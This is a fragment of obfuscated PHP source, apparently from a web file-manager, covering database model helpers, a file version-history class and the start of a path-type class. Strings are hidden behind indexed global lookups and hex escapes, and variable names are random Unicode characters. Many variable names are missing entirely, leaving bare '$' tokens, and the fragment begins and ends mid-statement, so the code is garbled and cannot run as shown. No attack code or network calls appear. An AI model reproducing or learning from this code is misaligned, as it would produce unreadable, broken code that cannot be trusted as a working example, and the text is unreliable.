{ $this->optionsValue($ː޸); $뺰Թ = $this->page($, $큗)->select(); $ = is_array($뺰Թ) ? count($뺰Թ) : 0; if ($ < $큗) { $ = 1; } else { $this->optionsValue($̬); $ = intval($this->count()); $ = ceil($ / $큗); } } else { $this->optionsValue($̬); $ = intval($this->count()); $ = ceil($ / $큗); $ = $ >= $ ? $ : $; $this->optionsValue($ː޸); $뺰Թ = $this->page($, $큗)->select(); } if (!is_array($뺰Թ)) { $뺰Թ = array(); } if ($ == 1) { $ = count($뺰Թ); } $Вݩ = array($[395] => array($[396] => $, $[392] => $큗, $[382] => $, $[397] => $), $[398] => $뺰Թ); return $Вݩ; } protected function checkLength($Ԑ, $͝ = 0, $Ƭ = '') { $ =& $_SERVER[]; $͝ = $͝ ? $͝ : 65536; if (!$Ԑ || strlen($Ԑ) < $͝) { return; } $Ƭ = $Ƭ ? $Ƭ . $[71] : $[12]; show_json($Ƭ . LNG($[399]) . "\50{$͝}\51", !1); } protected function metaSet($Ӡ, $ = null, $ꗵ = null) { $ =& $_SERVER[]; if (!$this->tableMeta || !$Ӡ) { return !1; } $ӭ = $this->tableMeta[$[400]]; $ = $this->tableMeta[$[401]]; $ = Model($); $Ο = array($ӭ => $Ӡ, $[402] => $); if (is_null($)) { return $->where(array($ӭ => $Ӡ))->delete(); } if (is_null($ꗵ) && is_string($)) { return $->where($Ο)->delete(); } $㈬ = is_array($) ? $ : array(); if (is_string($)) { $㈬[$] = $ꗵ; } $Nj = array(); foreach ($㈬ as $ׂ => $杛) { if (is_null($杛) && is_string($ׂ)) { $->where(array($ӭ => $Ӡ, $[402] => $ׂ))->delete(); continue; } $this->checkLength($杛, !1, $ . $[4] . $ׂ); $Nj[] = array($ӭ => $Ӡ, $[94] => $ׂ, $[403] => $杛); } $牊 = $[404] . $; CacheLock::lock($牊); $->where(array($ӭ => $Ӡ))->addAll($Nj, array(), !0); CacheLock::unlock($牊); return !0; } public function metaGet($Œ, $ܷ܀ = false) { $ű߅ =& $_SERVER[]; if (!$this->tableMeta) { return array(); } $狭Ƙ = $this->tableMeta[$ű߅[400]]; $ = Model($this->tableMeta[$ű߅[401]]); if ($ܷ܀) { $ξ = array($狭Ƙ => $Œ, $ű߅[94] => $ܷ܀); return $->where($ξ)->getField($ű߅[403]); } $ξ = array($狭Ƙ => $Œ); $υ = $->field($ű߅[405])->where($ξ)->select(); $υ = array_to_keyvalue($υ, $ű߅[94], $ű߅[403]); return $υ; } private function checkDataAutoHas($ˆ) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $дۃ) { if (in_array($ˆ, explode($_SERVER[][50], $дۃ[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$٨, $ݷ) { $ँ =& $_SERVER[]; if (!is_array($٨)) { return; } foreach ($this->dataAuto as $ï) { $𨪉 = $ï[0]; if (!in_array($ݷ, explode($ँ[50], $ï[2]))) { continue; } switch (trim($ï[3])) { case $ँ[350]: case $ँ[351]: $Ďǘ = $ï[1]; $ = isset($ï[4]) ? (array) $ï[4] : array(); if ($Ďǘ == $ँ[180] && array_key_exists($𨪉, $٨)) { if (!$٨[$𨪉]) { unset($٨[$𨪉]); } break; } if (isset($٨[$𨪉])) { array_unshift($, $٨[$𨪉]); } if ($ँ[350] == $ï[3]) { $٨[$𨪉] = call_user_func_array($Ďǘ, $); } else { $٨[$𨪉] = call_user_func_array(array(&$this, $Ďǘ), $); } break; case $ँ[299]: if (isset($٨[$𨪉]) && $٨[$𨪉]) { $٨[$𨪉] = call_user_func_array(array(&$this, $ï[1]), array($٨[$𨪉])); } break; case $ँ[302]: $٨[$𨪉] = $٨[$ï[1]]; break; case $ँ[323]: if (isset($٨[$𨪉]) && !is_string($٨[$𨪉])) { $٨[$𨪉] = json_encode_force($٨[$𨪉]); } break; case $ँ[352]: if ($٨[$𨪉] === $ँ[12]) { unset($٨[$𨪉]); } break; case $ँ[353]: $٨[$𨪉] = $ï[1]; default: break; } } if ($ݷ == $ँ[384]) { $ = strtolower($this->db->getDbType()); if (strpos($, $ँ[13]) !== 0) { return; } $ = $this->field(!0)->fields; $ = $[$ँ[281]]; if (isset($[$ँ[280]])) { unset($[$[$ँ[280]]]); } foreach ($ as $ΨՇ => $ݷ) { if (!isset($٨[$ΨՇ])) { $٨[$ΨՇ] = $ँ[12]; } } } } private function dataAfterFilter(&$) { $ھϛ =& $_SERVER[]; foreach ($this->dataAuto as $ծ) { $涣 = $ծ[0]; if (!isset($[$涣])) { continue; } if (!in_array($ھϛ[386], explode($ھϛ[50], $ծ[2]))) { continue; } switch (trim($ծ[3])) { case $ھϛ[350]: case $ھϛ[351]: $ = isset($ծ[4]) ? (array) $ծ[4] : array(); array_unshift($, $[$涣]); if (isset($ծ[4]) && $ծ[4] == $ھϛ[406]) { $ = array($[$涣]); } if ($ھϛ[350] == $ծ[3]) { $[$涣] = call_user_func_array($ծ[1], $); } else { $[$涣] = call_user_func_array(array(&$this, $ծ[1]), $); } break; case $ھϛ[299]: if (isset($[$涣]) && $[$涣]) { $[$涣] = call_user_func_array(array(&$this, $ծ[1]), array($[$涣])); } break; case $ھϛ[302]: $[$涣] = $[$ծ[1]]; break; case $ھϛ[323]: $񾝪 = $[$涣]; $[$涣] = json_decode($񾝪, !0); if (is_null($[$涣])) { $[$涣] = $񾝪; } break; case $ھϛ[352]: if ($[$涣] === $ھϛ[12]) { unset($[$涣]); } break; case $ھϛ[353]: $[$涣] = $ծ[1]; break; default: break; } } } public function saveAll($ß) { $ຂ =& $_SERVER[]; $ = $this->tablePrefix . $this->tableName; $ = self::SQL_WHERE_IN_CHUNK; $ß = is_array($ß) ? $ß : array(); $Ǎ = $ຂ[407]; $ = 0; $ߦ = array(); $ѧ = count($ß); for ($ = 0; $ < $ѧ; $++) { $ō = $ß[$]; if (!is_array($ō) || count($ō) != 4) { continue; } $ = "\x55\120\104\x41\124\105\40\x60{$}\140\x20\x53\105\x54\40{$ō[2]}\x20\x3d\x20\x43\101\x53\105\x20{$ō[0]}\40\xa"; if ($ == 0) { $Ǎ = $; } $ߦ[] = $ຂ[118] . $ō[1] . $ຂ[118]; $++; $Ǎ .= "\x20\127\110\x45\x4e\x20\47{$ō[1]}\x27\x20\124\x48\105\x4e\40\47{$ō[3]}\x27\x20\xa"; if ($ == $ || $ == $ѧ - 1) { $ = implode($ຂ[50], $ߦ); $Ǎ .= "\40\105\116\104\40\x20\127\x48\x45\x52\105\x20{$ō[0]}\40\111\x4e\x20\50{$}\51\40"; $this->execute($Ǎ); $ = 0; $Ǎ = $; $this->chunkEventCheck(count($ߦ)); $ߦ = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $ώ =& $_SERVER[]; $̝ = $this->tablePrefix . $this->tableName; foreach ($ as $) { if (!is_array($) || count($) != 4) { continue; } $ˏ = $[0] . $ώ[408] . $[1] . $ώ[118]; $ʵО = $[2] . $ώ[408] . $[3] . $ώ[118]; $椮 = "\x75\160\x64\x61\164\145\40{$̝}\x20\x73\x65\x74\x20{$ʵО}\x20\167\150\145\162\x65\40{$ˏ}\73"; $this->execute($椮); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($쫫 = false, $߶ = false) { $this->_chunkEvent = $쫫; $this->_chunkEventParam = $߶; } private function chunkEventCheck($Ӿ) { if (!$this->_chunkEvent) { return; } $ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $[$_SERVER[][409]] = $Ӿ; Hook::trigger($this->_chunkEvent, $); } public function addAll($, $ = array(), $Ŧľȗ = false) { $ˊ =& $_SERVER[]; ignore_timeout(); $dž = self::SQL_WHERE_IN_CHUNK; if (empty($)) { $this->error = think_lang($ˊ[300]); return !1; } $ = $this->_parseOptions($); foreach ($ as $ʟ => $ҵ) { $[$ʟ] = $this->_facade($ҵ); $this->_beforeInsert($[$ʟ], $); } if (method_exists($this->db, $ˊ[301])) { for ($ = 0; $ < count($); $ += $dž) { $ = array_slice($, $, $dž); if (!is_array($) || count($) == 0) { break; } $ = $this->db->insertAll($, $, $Ŧľȗ); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ as $ʟ => $ҵ) { $ = $this->db->insert($ҵ, $, $Ŧľȗ); } $this->commit(); } if (!1 !== $) { $Υ = $this->getLastInsID(); if ($Υ) { return $Υ; } } return $; } public function save($ = '', $ڪ = array()) { $Ѱ =& $_SERVER[]; $߉ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$) { return parent::save($, $ڪ); } $ = 0; $ږ = $[$Ѱ[304]][$][1]; $ږ = is_array($ږ) ? $ږ : array(); $Ӭ = count($ږ); for ($׋ = 0; $׋ < $Ӭ; $׋ += $߉) { $܏ = array_slice($ږ, $׋, $߉); if (!is_array($܏) || count($܏) == 0) { break; } $[$Ѱ[304]][$][1] = $܏; $this->optionsValue($); $ += parent::save($, $ڪ); $this->chunkEventCheck(count($܏)); } $this->chunkEventSet(); return $; } public function add($Ϲ = '', $ɿ = array(), $ڨθ = false) { if ($this->addTaskStatus && is_array($Ϲ)) { $this->addTaskData[] = $Ϲ; return; } return parent::add($Ϲ, $ɿ, $ڨθ); } public function parseWhereLike($Ď, $ڄլ = '', $ɺ = false, &$֬ = false) { $ =& $_SERVER[]; $ = $GLOBALS[$[6]][$[410]]; if (!$[$[411]]) { return $Ď; } if (!is_array($Ď)) { return $Ď; } $ = array(); $ = 0; foreach ($Ď as $Ϧ => $Ի) { if (is_array($Ի) && count($Ի) == 2 && $Ի[0] == $[412] && is_string($Ի[1]) && substr($Ի[1], 0, 1) == $[413] && substr($Ի[1], strlen($Ի[1]) - 1, 1) == $[413]) { $֬ = !0; $ȳ = is_string($Ϧ) ? $Ϧ : $ڄլ; $ = substr($Ի[1], 1, strlen($Ի[1]) - 2); $ = $this->db->escapeString($); if (!strpos($ȳ, $[10])) { $ȳ = $[414] . $ȳ . $[414]; } $Ⱦ = $[189] . $ . $[189]; $ = str_replace(array($[10], $[415], $[11]), $[416], $); if ($[$[417]]) { $Ⱦ = $[418] . $ . $[419]; if ($[$[420]]) { $Ⱦ = $[419] . $ . $[418]; } } $[$] = $[421] . $ȳ . $[422] . $Ⱦ . $[423]; $++; continue; } if (is_array($Ի)) { $ڄլ = is_string($Ϧ) ? $Ϧ : $ڄլ; $Ի = $this->parseWhereLike($Ի, $ڄլ, !0, $֬); } if (is_numeric($Ϧ)) { $[$] = $Ի; $++; } else { $[$Ϧ] = $Ի; } } if ($֬ && !$ɺ) { } return $; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($ = array()) { $ܴ =& $_SERVER[]; $֤ = self::SQL_WHERE_IN_CHUNK; $ڐŀ = $this->optionsValue(); $ = $this->findWhereField($ڐŀ); if (!$ || isset($ڐŀ[$ܴ[321]]) || isset($ڐŀ[$ܴ[382]])) { return parent::select($); } $Ɣ = $ڐŀ[$ܴ[304]][$][1]; $Ɣ = is_array($Ɣ) ? $Ɣ : array(); $ܶڑ = null; for ($ܵ = 0; $ܵ < count($Ɣ); $ܵ += $֤) { $˸ = array_slice($Ɣ, $ܵ, $֤); if (!is_array($˸) || count($˸) == 0) { break; } $ڐŀ[$ܴ[304]][$][1] = $˸; $this->optionsValue($ڐŀ); $ = parent::select($); if (!$) { continue; } $ܶڑ = is_array($ܶڑ) ? $ܶڑ : array(); $ܶڑ = array_merge($ܶڑ, $); } return $ܶڑ; } public function delete($ӿ = array()) { $Ȥ =& $_SERVER[]; $ͧ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $к = $this->findWhereField($); if (!$к) { return parent::delete($ӿ); } $ = 0; $ = $[$Ȥ[304]][$к][1]; $ = is_array($) ? $ : array(); for ($ą = 0; $ą < count($); $ą += $ͧ) { $ = array_slice($, $ą, $ͧ); if (!is_array($) || count($) == 0) { break; } $[$Ȥ[304]][$к][1] = $; $this->optionsValue($); $ += parent::delete($ӿ); } return $; } private function findWhereField($ë) { $Ղ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; if (!is_array($ë) || !is_array($ë[$Ղ[304]])) { return !1; } foreach ($ë[$Ղ[304]] as $ٰ => $Ǘ) { if (is_array($Ǘ) && isset($Ǘ[0]) && is_string($Ǘ[0]) && strtolower($Ǘ[0]) == $Ղ[7] && is_array($Ǘ[1]) && count($Ǘ[1]) > $) { ignore_timeout(); return $ٰ; } } return !1; } public function setMasterDB($͠ = true) { think_config($_SERVER[][424], $͠); } } class ModelBaseLight { public $optionType = ''; public $modelType = "\123\171\x73\x74\145\155\x4f\160\x74\x69\x6f\x6e"; public $field = array(); public function listData($ = false, $Ñ = "\x6d\157\x64\151\x66\171\124\x69\x6d\x65", $급 = false) { $Ǡ = Model($this->modelType)->get(!1, $this->optionType, !0); $핬 = array_values($Ǡ); if ($핬 && $핬[0] && !is_array($핬[0])) { Model($this->modelType)->cacheRemove($this->optionType); $Ǡ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$Ǡ) { return $ ? null : array(); } if (!$) { $Ǡ = array_filter(array_values($Ǡ)); return array_sort_by($Ǡ, $Ñ, $급); } return $Ǡ[$_SERVER[][425] . $]; } public function insert($Ȳ) { $ =& $_SERVER[]; $Ȳ = array_field_key($Ȳ, $this->field); $қȈ = Model($this->modelType)->get($[426], $this->optionType . $[427]); $қȈ = $қȈ ? $қȈ : 0; $Ȳ[$[428]] = ++$қȈ; $Ȳ[$[201]] = time(); $Ȳ[$[85]] = time(); Model($this->modelType)->set($[426], $қȈ, $this->optionType . $[427]); Model($this->modelType)->set($[425] . $қȈ, $Ȳ, $this->optionType); return $қȈ; } public function update($׷ˍ, $) { $ܻ =& $_SERVER[]; $ = array_field_key($, $this->field); $龛 = $this->listData($׷ˍ); if (!$龛 || !$׷ˍ) { return !1; } $ = array_merge($龛, $); $[$ܻ[85]] = time(); return Model($this->modelType)->set($ܻ[425] . $׷ˍ, $, $this->optionType); } public function remove($) { if (!$) { return !1; } return Model($this->modelType)->remove($_SERVER[][425] . $, $this->optionType); } public function clear() { $٧ =& $_SERVER[]; Model($this->modelType)->remove($٧[426], $this->optionType . $٧[427]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($, $ਣ) { if (!$ਣ) { return !1; } $ = $this->listData(); $ = array_to_keyvalue($, $); return isset($[$ਣ]) ? $[$ਣ] : !1; } public function findByName($) { return $this->findByKey($_SERVER[][32], $); } protected function resetData($Ǖ) { $ =& $_SERVER[]; $Ǖ = is_array($Ǖ) ? $Ǖ : array(); $ˀ = array(); for ($˜ݏ = 0; $˜ݏ < count($Ǖ); $˜ݏ++) { $ˀ[$[425] . $Ǖ[$˜ݏ][$[428]]] = $Ǖ[$˜ݏ]; } return Model($this->modelType)->set($ˀ, !1, $this->optionType); } private function getAutoName($ǍΞ) { $Ӵ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if (!$Ӵ || !isset($Ӵ[$ǍΞ])) { return $ǍΞ; } for ($닄ה = 1; $닄ה < count($Ӵ); $닄ה++) { $ = $ǍΞ . "\50{$닄ה}\x29"; if (!isset($Ӵ[$])) { return $; } } return $; } } goto Aʋʾ; E؊: class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $Ƌ =& $_SERVER[]; $ͨȹ = $GLOBALS[$Ƌ[6]][$Ƌ[89]]; if ($ͨȹ[$Ƌ[1249]] != 1) { return; } if ($ͨȹ[$Ƌ[1250]] <= 0) { return; } if (isset($_REQUEST[$Ƌ[1251]]) && $_REQUEST[$Ƌ[1251]] == $Ƌ[88]) { return; } Hook::bind($Ƌ[1252], $Ƌ[1253]); Hook::bind($Ƌ[1254], $Ƌ[1255]); Hook::bind($Ƌ[1256], $Ƌ[1257]); Hook::bind($Ƌ[1258], $Ƌ[1259]); Hook::bind($Ƌ[1260], $Ƌ[1261]); Hook::bind($Ƌ[1262], $Ƌ[1263]); } public static function eventBeforeUpload($ʑ) { if ($ʑ[3] && $ʑ[3] != REPEAT_REPLACE) { return; } $ = self::parsePath($ʑ[0]); if (!$) { return; } self::add($); } public static function eventBeforeEdit($ψ) { $򼻆 = self::parsePath($ψ[0]); if (!$򼻆) { return; } self::add($򼻆); } public static function eventBeforeCopyFile($, $, $, $ߘ, $ݎ, $ۍ) { $῜ =& $_SERVER[]; if (isset($->_data[$῜[1188]]) && $->_data[$῜[1188]]) { return; } $ꀜ = $->getPathOuter($ߘ); $ = self::parsePath($ꀜ); if (!$) { return; } self::add($); } public static function eventBeforeRename($) { $ =& $_SERVER[]; $ = self::parsePath($[0]); if (!$) { return; } $ن = self::checkInHistory($); if (!$ن) { return; } if ($ن[$[33]] == $[200]) { $ပ = self::listData($); if ($ပ && $ပ[$[398]]) { self::moveHistory($, $[1]); } } else { IO::rename($ن[$[84]], $[1]); } } public static function eventBeforeMove($ţ) { $ =& $_SERVER[]; $ಮШ = self::parsePath($ţ[0]); if (!$ಮШ) { return; } $ = self::parsePath($ţ[1]); if (!$) { return; } $ = $ţ[3]; $ǘ = self::checkInHistory($ಮШ); if (!$ǘ) { return; } $ = self::pathHistory($); if ($ǘ[$[33]] == $[200]) { $ͷ = self::listData($ಮШ); $ = rtrim($, $[8]) . $[8] . ($ ? $ : get_path_this($ಮШ)); $ = self::listData($); if ($ͷ && $ͷ[$[398]] && $ && $[$[398]]) { return self::clear($ಮШ); } if ($ͷ && $ͷ[$[398]]) { self::moveHistory($ಮШ, $, $); } } else { IO::move($ǘ[$[84]], $, !1, $); self::clearEmptyFolder(IO::pathFather($ǘ[$[84]])); } } public static function eventAfterRemove($ч, $Ŋ) { $˅ =& $_SERVER[]; if (!$Ŋ) { return; } $̘ = self::parsePath($ч[0]); if (!$̘) { return; } $䗳 = self::checkInHistory($̘); if (!$䗳) { return; } if ($䗳[$˅[33]] == $˅[200]) { $秙 = self::listData($̘, !1); if ($秙 && $秙[$˅[398]]) { self::clear($̘, !1); } } else { IO::remove($䗳[$˅[84]]); self::clearEmptyFolder(IO::pathFather($䗳[$˅[84]])); } } private static function checkInHistory($) { $˪ = self::pathHistory($); if (!IO::exist($˪)) { $˪ .= $_SERVER[][1264]; } return IO::exist($˪) ? IO::info($˪) : !1; } private static function parsePath($) { $ =& $_SERVER[]; if (!$) { return !1; } if ($GLOBALS[$[1265]]) { return; } $ъ = KodIO::parse($); $φ = $ъ[$[33]]; $萨 = !$φ || $φ == KodIO::KOD_IO || $φ == KodIO::KOD_SHARE_ITEM; if (!$萨 || !$ъ[$[1266]]) { return !1; } if (substr($, 0, strlen(DATA_PATH . $[1267])) == DATA_PATH . $[1267]) { return !1; } if ($φ == KodIO::KOD_SHARE_ITEM) { $ = IO::init($); if ($->pathParse[$[1184]]) { return self::parsePath($->pathParse[$[1184]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $۱ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $[1268]); foreach ($۱ as $) { if (!$φ && substr($, 0, strlen($)) == $) { return !1; } } self::log($GLOBALS[$[1179]] . $[1269] . $); return $; } private static function pathHistory($) { $ =& $_SERVER[]; $׎ݯ = self::$_historyBase . ltrim(KodIO::clear($), $[8]); $׎ݯ = str_replace(array($[1270]), array($[1271]), $׎ݯ); return $׎ݯ; } public static function log($) { } public static function historyCount($ݵ) { $¾ =& $_SERVER[]; $р = array(); $ = array(); foreach ($ݵ as $̷) { $ = get_path_father($̷); if (!$[$]) { $[$] = array(); } $[$][] = get_path_this($̷); } foreach ($ as $ => $) { $ȩ = self::parsePath($); if (!$ȩ) { continue; } foreach ($ as $݃ʯ) { $ɀ = self::listData(rtrim($ȩ, $¾[8]) . $¾[8] . $݃ʯ, !1); if ($ɀ && $ɀ[$¾[398]]) { $р[rtrim($, $¾[8]) . $¾[8] . $݃ʯ] = count($ɀ[$¾[398]]); } } } return $р; } public static function add($ҥ񥋻) { $Ӫˤ =& $_SERVER[]; $ݺ = self::listData($ҥ񥋻); if (!$ݺ) { return; } $㳄 = Model($Ӫˤ[796])->get($Ӫˤ[1272]); $Ŝ = $GLOBALS[$Ӫˤ[6]][$Ӫˤ[89]][$Ӫˤ[1250]]; $֖ = $㳄 == $Ӫˤ[1273] ? min(5, $Ŝ) : $Ŝ; if ($Ŝ <= 0) { return; } $ƍȹ = IO::info($ҥ񥋻); $ = $ݺ[$Ӫˤ[398]]; if ($ƍȹ[$Ӫˤ[76]] == 0) { return; } if ($ƍȹ[$Ӫˤ[76]] >= 1024 * 1024 * 500) { return !1; } $Ȓʋ = IO::hashSimple($ҥ񥋻); if ($ && $[0][$Ӫˤ[177]] == $Ȓʋ) { return !0; } if (array_key_exists($Ӫˤ[203], $ƍȹ) && !$ƍȹ[$Ӫˤ[203]]) { return !1; } $ = short_id(time()); $ㅂ = array($Ӫˤ[428] => $, $Ӫˤ[177] => $Ȓʋ, $Ӫˤ[32] => $ƍȹ[$Ӫˤ[32]] . $Ӫˤ[10] . date($Ӫˤ[1274]) . rand_string(1), $Ӫˤ[76] => $ƍȹ[$Ӫˤ[76]], $Ӫˤ[483] => USER_ID, $Ӫˤ[201] => time(), $Ӫˤ[1275] => $Ӫˤ[12]); IO::mkdir($ݺ[$Ӫˤ[1276]]); $˛ = IO::copy($ҥ񥋻, $ݺ[$Ӫˤ[1276]], !1, $ㅂ[$Ӫˤ[32]]); if (!$˛) { self::clearEmptyFolder($ݺ[$Ӫˤ[1276]]); return !1; } array_unshift($, $ㅂ); if (count($) > $֖) { $̆ = array_slice($, $֖); foreach ($̆ as $) { IO::remove($ݺ[$Ӫˤ[1276]] . $[$Ӫˤ[32]]); } $ = array_slice($, 0, $֖); } return self::saveData($ݺ[$Ӫˤ[1277]], $); } public static function remove($䥋, $ޚ) { $Ʊ =& $_SERVER[]; $ = self::listData($䥋); $Ţ = array(); if (!$) { return !1; } foreach ($[$Ʊ[398]] as $) { if ($[$Ʊ[428]] == $ޚ) { IO::remove($[$Ʊ[1276]] . $[$Ʊ[32]]); continue; } $Ţ[] = $; } return self::saveData($[$Ʊ[1277]], $Ţ); } public static function clear($, $穉 = true) { $Ђ =& $_SERVER[]; $ϙ = self::listData($, $穉); if (!$ϙ) { return !1; } foreach ($ϙ[$Ђ[398]] as $Ɩ) { IO::remove($ϙ[$Ђ[1276]] . $Ɩ[$Ђ[32]]); } return self::saveData($ϙ[$Ђ[1277]], array()); } public static function moveHistory($, $ń = '', $ = '') { $ =& $_SERVER[]; $× = self::listData($, !1); if (!$× || !$×[$[398]]) { return !1; } $ = $[1264]; $ń = $ń ? $ń : get_path_this($); $ = $ ? $ : $×[$[1276]]; $ = substr(get_path_this($×[$[1277]]), 0, -strlen($)); foreach ($×[$[398]] as $ا => $) { $ǹ = $ń . substr($[$[32]], strlen($)); $ = IO::move($×[$[1276]] . $[$[32]], $, !1, $ǹ); if ($) { $×[$[398]][$ا][$[32]] = $ǹ; } } $×[$[1277]] = IO::move($×[$[1277]], $, !1, $ń . $); self::saveData($×[$[1277]], $×[$[398]]); self::clearEmptyFolder($×[$[1276]]); } public static function rollback($̊, $Ĺ) { $ݫ =& $_SERVER[]; $㸌 = self::listData($̊); if (!$㸌) { return; } $ʴ = IO::info($̊); foreach ($㸌[$ݫ[398]] as $ㆫ => $߸̌) { if ($߸̌[$ݫ[428]] == $Ĺ) { self::add($̊); $͑ = $㸌[$ݫ[1276]] . $߸̌[$ݫ[32]]; $ѵ = IO::copy($͑, IO::pathFather($̊), REPEAT_REPLACE, $ʴ[$ݫ[32]]); if ($ѵ) { self::remove($̊, $Ĺ); } return $ѵ; } } return !1; } public static function setDetail($, $ֵ, $) { $Ϡ =& $_SERVER[]; $ڙ = self::listData($); if (!$ڙ) { return; } foreach ($ڙ[$Ϡ[398]] as $͸ => $) { if ($[$Ϡ[428]] == $ֵ) { $ڙ[$Ϡ[398]][$͸][$Ϡ[1275]] = $; self::saveData($ڙ[$Ϡ[1277]], $ڙ[$Ϡ[398]]); return !0; } } return !1; } public static function fileInfo($罪, $끹) { $ܘĵ =& $_SERVER[]; $܉ = self::listData($罪); if (!$܉) { show_json(LNG($ܘĵ[105]), !1); } $ = $ܘĵ[12]; foreach ($܉[$ܘĵ[398]] as $ƺ => $٭) { if ($٭[$ܘĵ[428]] != $끹) { continue; } $ = $܉[$ܘĵ[1276]] . $٭[$ܘĵ[32]]; break; } if (!$) { show_json(LNG($ܘĵ[105]), !1); } return IO::info($); } public static function fileOut($ᵨ, $, $ΰ = false) { $ =& $_SERVER[]; $ͦ = self::fileInfo($ᵨ, $); $ =& $GLOBALS[$[7]]; $ΰ = isset($[$[1227]]) && $[$[1227]] == 1; if (isset($[$[33]]) && $[$[33]] == $[1278]) { return IO::fileOutImage($ͦ[$[84]], $[$[1279]]); } IO::fileOut($ͦ[$[84]], $ΰ, get_path_this($ᵨ)); } public static function listData($, $ = true) { $ˆ =& $_SERVER[]; if ($ && !IO::exist($)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $̢ = self::pathHistory($); $拈֧ = array($ˆ[1277] => $̢ . $ˆ[1264], $ˆ[1276] => rtrim(get_path_father($̢), $ˆ[8]) . $ˆ[8], $ˆ[398] => array()); $ȇ = IO::getContent($拈֧[$ˆ[1277]]); if ($ȇ) { $ = json_decode($ȇ, !0); if (is_array($)) { $拈֧[$ˆ[398]] = $; } } return $拈֧; } private static function saveData($, $) { $߸ې =& $_SERVER[]; self::log($߸ې[1280] . $ . $߸ې[71] . count($), $߸ې[777]); if ($) { return IO::setContent($, json_encode($)); } $ο = IO::pathFather($); IO::remove($); self::clearEmptyFolder($ο); return !0; } public static function clearEmptyFolder($) { $๘ =& $_SERVER[]; if (trim($, $๘[8]) == trim(self::$_historyBase, $๘[8])) { return; } $᭑ = IO::pathFather($); $Ě = IO::has($, !0); if ($Ě[$๘[207]] > 0 || $Ě[$๘[208]] > 0) { return; } IO::remove($); self::clearEmptyFolder($᭑); } private static function getBasePath() { $撂 =& $_SERVER[]; $Š = Model($撂[1281])->get($撂[1282]); if ($Š) { if (!IO::exist($Š)) { IO::mkdir($Š); } if (get_path_this($Š) == $撂[1267]) { $ֆ = $撂[1283] . rand_string(8); @rename($Š, get_path_father($Š) . $撂[8] . $ֆ); $Š = DATA_PATH . $ֆ . $撂[8]; file_put_contents(DATA_PATH . $撂[1217], $撂[12]); Model($撂[1281])->set($撂[1282], $Š); } return $Š; } $Š = DATA_PATH . $撂[1283] . rand_string(8) . $撂[8]; $Š = IO::mkdir($Š); $Š = rtrim($Š, $撂[8]) . $撂[8]; file_put_contents($Š . $撂[1217], $撂[12]); file_put_contents(DATA_PATH . $撂[1217], $撂[12]); Model($撂[1281])->set($撂[1282], $Š); return $Š; } } class KodIO { const KOD_SOURCE = "\x7b\x73\x6f\165\x72\143\x65\175"; const KOD_USER_RECYCLE = "\173\165\163\145\x72\x52\x65\x63\x79\143\154\145\175"; const KOD_USER_FAV = "\173\165\163\x65\162\106\141\x76\175"; const KOD_USER_FILE_TAG = "\173\165\163\145\162\106\151\154\145\124\x61\x67\175"; const KOD_USER_FILE_TYPE = "\x7b\165\x73\145\x72\106\151\x6c\145\x54\171\160\x65\x7d"; const KOD_GROUP_ROOT_SELF = "\x7b\147\x72\157\x75\x70\122\x6f\157\x74\123\x65\154\146\175"; const KOD_USER_SHARE = "\173\165\163\145\162\x53\150\141\x72\x65\175"; const KOD_USER_SHARE_LINK = "\x7b\x75\x73\x65\162\123\150\141\x72\x65\114\x69\156\x6b\175"; const KOD_USER_SHARE_TO_ME = "\173\163\x68\141\x72\145\124\x6f\115\145\175"; const KOD_SHARE_ITEM = "\x7b\163\150\141\x72\145\111\x74\x65\155\x7d"; const KOD_SHARE_LINK = "\173\x73\x68\141\162\145\111\164\145\155\x4c\x69\x6e\x6b\175"; const KOD_SEARCH = "\173\x73\145\x61\x72\x63\150\175"; const KOD_BLOCK = "\173\x62\x6c\x6f\x63\153\175"; const KOD_IO = "\x7b\151\157\x7d"; const KOD_USER_RECENT = "\x7b\x75\163\x65\162\122\x65\156\143\145\x6e\164\x7d"; const KOD_USER_DRIVER = "\x7b\144\162\151\x76\x65\162\175"; public static function typeList() { $ =& $_SERVER[]; return array($[1284] => self::KOD_SOURCE, $[1285] => self::KOD_USER_RECYCLE, $[1286] => self::KOD_USER_FAV, $[1287] => self::KOD_USER_FILE_TAG, $[1288] => self::KOD_USER_FILE_TYPE, $[1289] => self::KOD_GROUP_ROOT_SELF, $[1290] => self::KOD_USER_SHARE, $[1291] => self::KOD_USER_SHARE_LINK, $[1292] => self::KOD_USER_SHARE_TO_ME, $[1293] => self::KOD_SHARE_ITEM, $[1294] => self::KOD_SHARE_LINK, $[1295] => self::KOD_SEARCH, $[1296] => self::KOD_BLOCK, $[1297] => self::KOD_IO, $[1298] => self::KOD_USER_RECENT, $[1299] => self::KOD_USER_DRIVER); } public static function parse($䟋) { $Ꝧ =& $_SERVER[]; $䟋 = self::clear($䟋); $ʀ = array_values(self::typeList()); preg_match($Ꝧ[1300], $䟋, $ۙ); $ = array($Ꝧ[451] => !1, $Ꝧ[1301] => !1, $Ꝧ[448] => !1, $Ꝧ[84] => $䟋, $Ꝧ[1202] => !1, $Ꝧ[1201] => $Ꝧ[12]); if (is_array($ۙ) && count($ۙ) == 5) { $ = $Ꝧ[1302] . $ۙ[2] . $Ꝧ[356]; if (in_array($, 